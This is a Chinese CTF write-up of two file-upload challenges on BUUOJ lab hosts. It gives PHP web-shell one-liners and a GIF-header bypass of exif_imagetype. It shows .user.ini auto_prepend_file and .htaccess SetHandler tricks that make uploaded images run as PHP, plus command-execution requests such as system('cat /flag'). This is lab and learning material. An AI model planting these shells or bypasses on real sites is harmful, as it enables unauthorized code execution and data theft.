知识点
php.ini
- php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
- PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,.user.ini中设置。
.user.ini
- .user.ini文件
.user.ini
实际上就是一个可以由用户“自定义”的php.ini
,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER
”的设置。 - 它比.htaccess(分布式配置文件)用的更广,不管是
nginx/apache/IIS
,只要是以fastcgi(进程管理器)运行的php都可以用这个方法。 - Php配置项中有两个比较有意思的项
auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
auto_append_file
类似,只是在文件后面包含。
.htaccess
.htaccess
叫分布式配置文件,它提供了针对目录改变配置的方法——在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。并且子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。一般来说,如果你的虚拟主机使用的是Unix或Linux系统,或者任何版本的Apache网络服务器,从理论上讲都是支持.htaccess的。- 目录规则:一般我们将.htaccess文件放置在网站的根目录,控制所在目录及所有子目录,而如果放置在子目录中,会受上级目录中.htaccess文件影响,是不起任何作用的。
- .htaccess可以实现:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
绕过exif_imagetype()
exif_imagetype() 读取一个图像的第一个字节并检查其签名。判断一个图像的类型
文件头检查,几个常见的文件头对应关系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfil
也可以直接上传图片,在图片的最后加上一句话木马的内容
[SUCTF 2019]CheckIn
上传一个a.php文件,文件内容为<?php phpinfo();?>
提示非法后缀,将后缀php修改为jpg
提示<?
被过滤了
将内容变为脚本标记格式:<script language=php> phpinfo() </script>
提示没有图片,这里是被php内置函数exif_imagetype(用于获取函数文件类型)
检测到了
那我们上传个图片马<script language=php> @eval($_POST['a']) </script>
试了好多后缀,还是上传失败,总之各种问题
下面是学习大佬的方法
方法一:user.ini文件构成PHP后门
创建.user.ini
文件,前面的GIF
是为了绕过检测;因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测。
上传
创建图片文件
上传
蚁剑链接http://5df3767e-4da9-41f9-85fc-6629510b2f2b.node4.buuoj.cn:81/uploads/ea6cf191dc7eec7b0e43199e459204e5/index.php
拿到flag~~
方法二:命令执行
上传图片马后,扫描根目录:/index.php?a=var_dump(scandir("/"));
我们可以可以看见一个叫flag的文件
/index.php?a=var_dump(file_get_contents("/flag"));
or/index.php?a=system('cat /flag');
参考链接:https://blog.csdn.net/RABCDXB/article/details/113623796
参考链接:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
[MRCTF2020]你传你🐎呢
我先试着个一句话木马上去<?php @eval($_POST['test']);?>
上传失败,
接着又试了试图片马,
还是不行
然后就试了一下上个题的两个文件
上传.user.ini
文件时,上传失败
上传木马文件时竟然成功了,但是尝试用蚁剑连一下,连接失败
看来上一题的方法不能用,下面是学习大佬的方法
做题步骤
此题需要上传两个文件
第一个:.htaccess
文件,用来改变文件扩展名
<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch "a.png">
指定的是要上传的文件,注意文件名必须相同
上传时先抓包,修改Content-Type:image/png
点击forward,上传成功
第二个:木马文件,用来连接蚁剑或菜刀
上传时同样修改Content-Type:image/png
用蚁剑连接:http://93ac29f7-de06-4936-9f07-9b157b4704d2.node4.buuoj.cn:81/upload/fa59a7192463c0cd3dae65088e762e1f/a.png
连接成功
拿到flag~~
参考文章:https://blog.csdn.net/RABCDXB/article/details/114297306
参考文章:https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html
参考文章:https://www.php.net/manual/zh/configuration.file.per-user.php